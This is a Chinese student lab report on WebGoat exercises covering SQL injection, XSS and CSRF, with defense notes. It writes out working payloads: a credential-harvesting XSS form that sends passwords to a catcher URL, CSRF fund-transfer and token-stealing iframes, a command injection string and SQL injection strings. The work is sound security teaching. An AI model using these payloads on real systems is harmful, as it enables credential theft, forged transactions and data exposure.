1. 程式人生 > >20155201 網絡攻防技術 實驗九 Web安全基礎

20155201 網絡攻防技術 實驗九 Web安全基礎

cookie信息 。。 區分 基礎問題 永久 信息管理 註入攻擊 偽造 res

20155201 網絡攻防技術 實驗九 Web安全基礎

一、實踐內容

  • 本實踐的目標理解常用網絡攻擊技術的基本原理。Webgoat實踐下相關實驗。

二、報告內容:

1. 基礎問題回答

1)SQL註入攻擊原理,如何防禦

  • SQL註入即是指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。
  • SQL註入攻擊的典型手段:判斷應用程序是否存在註入漏洞,收集信息、並判斷數據庫類型,根據註入參數類型,重構SQL語句的原貌,猜解表名、字段名,獲取賬戶信息、攻擊web或為下一步攻擊做準備。
  • 至於如何防範SQL註入攻擊,首先是將普通用戶與系統管理員用戶的權限分離,加強對用戶輸入的驗證,杜絕各種符號的使用。測試字符串變量的內容,只接受所需的值。拒絕包含二進制數據、轉義序列和註釋字符的輸入內容。這有助於防止腳本註入,防止某些緩沖區溢出攻擊。測試用戶輸入內容的大小和數據類型,強制執行適當的限制與轉換。這即有助於防止有意造成的緩沖區溢出,對於防治註入式攻擊有比較明顯的效果。

2)XSS攻擊的原理,如何防禦

  • XSS又叫CSS(Cross Site Script),跨站腳本攻擊。因為和CSS層疊樣式表重名,改叫xss。它指的是惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意用戶的特殊目的,獲取用戶的一些信息。
    xss攻擊可以分成三種類型,存儲型和反射性和DOM,反射型攻擊經過後端,不經過數據庫;存儲型經過後端,經過數據庫。DOM:不經過後端,DOM—based XSS漏洞是基於文檔對象模型Document Objeet Model,DOM)的一種漏洞,是通過url傳入參數去控制觸發的。
  • 想要防禦XSS攻擊主要通過在表單提交或者url參數傳遞前,對需要的參數進行嚴格過濾;還有就是檢查用戶輸入的內容中是否有非法內容,如尖括號<,>、引號",等,嚴格控制。

3)CSRF攻擊原理,如何防禦

  • CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認為比XSS更具危險性。
  • 目前防禦 CSRF 攻擊主要有一下策略:在 HTTP 頭中自定義屬性並驗證。通過 referer、token 或者 驗證碼 來檢測用戶提交。盡量不要在頁面的鏈接中暴露用戶隱私信息。對於用戶修改刪除等操作最好都使用post 操作 。避免全站通用的cookie,嚴格設置cookie的域。

2. 實踐總結與體會

做實驗的時候剛上完信息系統安全,上次課講得sql註入攻擊,這節課講了xss攻擊,相當於復習了一波,也有了新收獲,實驗上完了,知識留下了,感覺闊以。。

3. 實踐過程記錄

  1. 跨站腳本攻擊XSS
  2. 跨站請求偽造CSRF
  3. SQL註入攻擊

跨站腳本攻擊XSS

  1. 使用XSS釣魚(Phishing with XSS)
    • 使用XSS和HTML插入,將html插入到請求憑證中,添加JavaScript實際收集憑據,將請求憑證發布到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...這谷歌翻譯的是人話嗎。。我理解的意思是html的源代碼是可以被修改的,生成一個包含form的html,並且寫一個js實現將form提交的內容發送給攻擊者,這裏用彈窗alert做示例,既然彈窗能做到,那麽偷偷將數據傳給攻擊者也是沒問題的。
    • 代碼如下:

      <script>
      function hack()
      {
      alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + " Password = " + document.forms[0].pass.value); //將輸入框裏面的內容獲取並顯示
      XSSImage=new Image; 
      XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";} //將這些信息發送給捕獲這些信息的WebGoat。
      </script>
      <form>
      <br><br><HR>
      <H3>This feature requires account login:</H3>
      <br><br>Enter Username:<br>
      <input type="text" id="user" name="user"><br>Enter Password:<br>
      <input type="password" name = "pass"><br>
      <input type="submit" name="login" value="login" onclick="hack()">
      </form>
      <br>
      <HR>
    • 生成的html網頁
    • 技術分享圖片

    • 彈窗成功
    • 技術分享圖片

  2. 存儲型XSS(Stored XSS)
    • “將所有的輸入都刪除是一個很好的做法,特別是那些稍後將用作OS命令、腳本和數據庫查詢的參數的輸入。對於在應用程序中永久存儲的內容來說,它尤為重要。用戶不應該能夠創建消息內容,當用戶的消息被檢索時,該內容可能會導致另一個用戶加載不受歡迎的頁面或無法設計的內容。”翻譯一哈題目,講的是存儲型攻擊的意思。
    • 在輸入框中輸入一段js腳本,這段腳本被插入並存儲到html源碼中,當其他用戶再次訪問網站時,這段腳本就會運行,一個存儲型XSS攻擊就是這樣。在message欄輸入<script>alert("haha20155201");</script>(其實我感覺開頭應該加一個"/>來終止text輸入框,但是這樣寫並沒有效果。。),填寫標題欄後提交,下面的消息欄就會多出你剛添加的消息,點擊它,就可以看到邪惡的腳本

    • 技術分享圖片

    • 技術分享圖片

  3. 反射性XSS(Reflected XSS)
    • 當在輸入框中插入腳本,點擊提交後能立即看到效果,數據傳到了後臺,就是反射性XSS攻擊。在輸入框中輸入<script>alert("Dangerous");</script>,提交後就可以看到彈窗,說明我們也可以寫一段腳本把數據傳到某個網址或者服務器?
    • 技術分享圖片

CSRF攻擊

  1. 跨站請求偽造(CSRF)
    • 跨站請求偽造是一種讓受害者加載一個包含網頁的圖片的一種攻擊手段。
    • 當受害者的瀏覽器試圖打開頁面時,它會使用指定的參數向 圖片包含的網頁的頁面發送請求。瀏覽器認為將會得到一個圖片,但實際上是一種資金轉移功能。該請求將包括與網站相關的任何 cookies。因此,如果用戶已經通過網站的身份驗證, 並有一個永久的cookie,甚至是當前會話的cookie,網站將沒有辦法區分這是否是一個從合法用戶發出的請求。通過這種方法,攻擊者可以讓受害者執行一些他們本來沒打算執行的操作,如註銷、采購項目或者這個脆弱的網站提供的任何其他功能。
    • 在這一課中,您的目的是向一個新聞組發送一封郵件,郵件中包含一張圖片,這個圖像的URL指向一個惡意請求。無論誰收到這封郵件,並恰好已經通過身份驗證,他的資金將會被轉走。
    • 在消息框中嵌入html代碼,這段代碼中包含一個圖片,鏈接到 一個網站。<img src="http://127.0.0.1:8080/WebGoat/attack?Screen=272&menu=900&transferFunds=5000" width="1" height="1" />註意Screen和menu參數在網站右邊查看,每個人不一樣;關於是localhost還是127.0.0.1,你自己登陸WebGoat的時候用的是啥這裏就寫啥,對應不上可能沒法做題。
    • 技術分享圖片

    • 提交後,會看到一個新的消息。點擊它,用戶的5000元就會被轉走,刷新後可以看到本題目已完成。
  2. 繞過CSRF確認(CSRF Prompt By‐Pass)
    • 網頁中所有手動發起的請求操作,其實質是通過 HTML+JavaScript 向服務器發起請求。
    • 我們的目標是給新聞組發送一封帶有多個威脅請求的 Email。第一個請求用戶資金轉賬,第二個用於自動處理第一個請求所觸發的確認。URL必須使用以下兩個外部參數“transferFunds=4000”和“transferFunds=CONFIRM”。可以通過在左側鏈接中右鍵鼠 標,復制快捷方式完成URL獲取。任何收到該郵件的人若正好已經通過認證,則當其訪問該頁面時將自動完成資金轉賬。
    • 同樣的,不同WebGoat環境的URL中“Screen”和“Menu”參數可能會有所區別。使用當前訪問URL中正在使用的參數。
    • 造一個類似於 CSRF 實驗中的圖片或 iframe 標記:<img src="http://127.0.0.1:8080/attack?Screen=272&menu=900&transferFunds=5000" width="1" height="1" /> 該圖片請求不會導致資金轉移,而是觸發一個需要用戶確認的信息。
    • 技術分享圖片

    • 代碼如下:

      <iframe
      src="http://127.0.0.1:8080/WebGoat/attack?Screen=272&menu=900&transferFunds=5000" 
      id="myFrame" frameborder="1" marginwidth="0"
      marginheight="0" width="800" scrolling=yes height="300" 
      onload="document.getElementById(‘frame2‘).src=‘http://127.0.0.1:8080/WebGoat/attack?Screen=272&menu=900&transferFunds=CONFIRM‘;"> 
      </iframe>
      <iframe
      id="frame2" frameborder="1" marginwidth="0" 
      marginheight="0" width="800" scrolling=yes height="300">
      </iframe>
    • 技術分享圖片

    • 第二個請求必須在第一個請求結束後被載入。所以需要添加js以實現在第一個請求結束後自動載入第二個:在第一個 frame 的屬性中添加onload參數,設置 src 為第二個 frame。將這段代碼提交到消息框中發表。提交後可以看到上面的frame是顯示了用戶確認信息,是之前的請求所觸發的結果。第二個frame顯示的是我們偽造的確認請求觸發的結果:5000元已經轉賬。刷新頁面可以看到完成課程。
    • 對於圖片來說,如果載入的是一個 HTML 則會觸發一個錯誤。所以此處可通過替換 onload 屬性,實現工具目的。

    <img 
        src="attack?Screen=272&menu=900&transferFunds=5000" width="1" height="1"> 
    <img 
        src="attack?Screen=272&menu=900&transferFunds=confirm" width="1" height="1">
    • 技術分享圖片

    • 在輸入框中插入代碼,提交消息後點擊頁面,刷新後通過。
  3. 繞過 CSRF Token(CSRF Token By-Pass)
    • 跨站請求偽造攻擊(CSRF/XSRF)欺騙已獲取系統信任用戶點擊帶有偽造請求的頁面從而執行相關命令。
    • 基於 Token(令牌)的請求認證用於阻止此類攻擊者。該技術在請求發起頁面插入 Token。Token 用於完成請求和並驗證該操作不是通過腳本執行的、網頁中所有手工發起的請求操作,其實質通過 HTML+JavaScript 向服務器發起請求。
    • “與 CSRF 課程類似,您的目標是給新聞組發送包含惡意請求的 Email 實現資金轉賬。為了成功完成欺騙,您需要獲得一個驗證請求 Token。顯示轉賬表單的 URL 類似於 CSRF 課程 中使用的外部參數"transferFunds=main"。載入該頁面,讀取 Token 並追加到偽造請求中以實現資金轉賬。”
    • 查看網站生成的資金轉賬頁面的表單內容。http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=main查看源代碼,看到Token參數

      <form accept-charset=‘UNKNOWN‘ id=‘transferForm‘ method=‘POST‘ 
      action=‘#attack/296/900‘ enctype=‘application/x-www-form-urlencoded‘>
      <input name=‘transferFunds‘ type=‘text‘ value=‘0‘>
      <input name=‘CSRFToken‘ type=‘hidden‘ value=‘920130483‘>
      <input type=‘submit‘>
      </form>
    • 由此可以看到偽造命令需要提交CSRFToken參數,在一個 iframe 中載入頁面,然後從該 frame 中讀取出 Token。 下面查看網頁源代碼,找到 Token 參數。
    • 從教程裏面找了段代碼, 通過 frame‐>form 的路徑可以讀取並保存 CSRFToken 參數。

    <script>
    var readToken = function(){
    var doc = document.getElementById("frame1").contentDocument
    var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
    alert(token);
    var frame2 = document.getElementById("frame2");
    frame2.src = "http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=4000&CSRFToken="+token;
    }
    </script>
    <iframe id="frame2" >
    </iframe>
    <iframe id="frame1" onload="readToken()" src="http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=main" >
    </iframe>
    • 技術分享圖片

    • 點擊後會彈窗顯示token。
    • 技術分享圖片

SQL註入攻擊

  1. 命令註入(Command Injection)
    • 在正常的參數提交過程中,添加惡意的代碼,往往能夠得到以外的收獲,比如執行系統命令。
    • 點擊firebug,就是工具欄的蟲子(bug),調試網頁源代碼。
    • 在所請求的頁面源代碼中添加"& netstat -an & ipconfig",添加到哪裏呢?哪裏都行,復選框裏面某一項,後面加上雙引號,就會執行這條系統命令。
    • 技術分享圖片

    • 可以看到命令所產生的效果:
    • 技術分享圖片

  2. 數字型SQL註入(Numeric SQL Injection)
    • 在 station 字段中註入特征字符,能組合成新的 SQL 語句。SELECT * FROM weather_data WHERE station = [station],通過註入SQL字符串的方式查看所有的天氣數據。
    • 先來看不攻擊的情況,查看哥倫比亞看到的就是哥倫比亞的天氣。
    • 技術分享圖片

    • 這個很簡單,同樣是查看源代碼,在比如說NewYork天氣value=103裏面加入一個or 1=1,因為1=1是恒等式,加上or就使得這一個sql語句變成了SELECT * FROM weather_data WHERE station = 103 or 1=1,這樣station右邊的等號永遠成立,也不會查找station=103的城市天氣,直接select全部城市的天氣。
    • 技術分享圖片

    • 全部城市的天氣都能看到:
    • 技術分享圖片

  3. 日誌欺騙(Log Spoofing)
    • 灰色區域代表在 Web 服務器的日誌中的記錄的內容。我們的目的是使用戶名為“admin” 的用戶在日誌中顯示“成功登錄”。
    • 可以通過在日誌文件中插入腳本實現。
    • 在文本框中輸入用戶名5201 Login Succeeded for username admin,這樣用戶名信息在同一行顯示,沒什麽用。如果我們能在這一行中加入回車之類的,不就可以變成兩行了啊,加入回車(0D%)和換行符(%0A),在username中填入5201%0d%0aLogin Succeeded for username: admin,可以看到本來只有一行的Login failed變成了兩行,下面是我們的邪惡目的Login Succeded for username : admin
    • 技術分享圖片

    • 技術分享圖片

    • 這說明我們可以向日誌文件中添加惡意腳本,腳本的返回信息管理員能夠通過瀏覽器看到。
    • admin <script>alert(document.cookie)</script>作為用戶名輸入,管理員可以看到彈窗的cookie信息。
    • 技術分享圖片

  4. 字符串型註入(String SQL Injection)
    • 基於以下查詢語句構造自己的 SQL 註入字符串。SELECT * FROM user_data WHERE last_name = ‘?‘。嘗試通過 SQL 註入將所有信用卡信息顯示出來。嘗試的用戶名是“Smith”。
    • 輸入查詢的用戶名Smith‘ or 1=1--,這樣Smith 和1=1都成了查詢的條件,而1=1是恒等式,這樣就能select表裏面的所有數據。
    • 技術分享圖片

20155201 網絡攻防技術 實驗九 Web安全基礎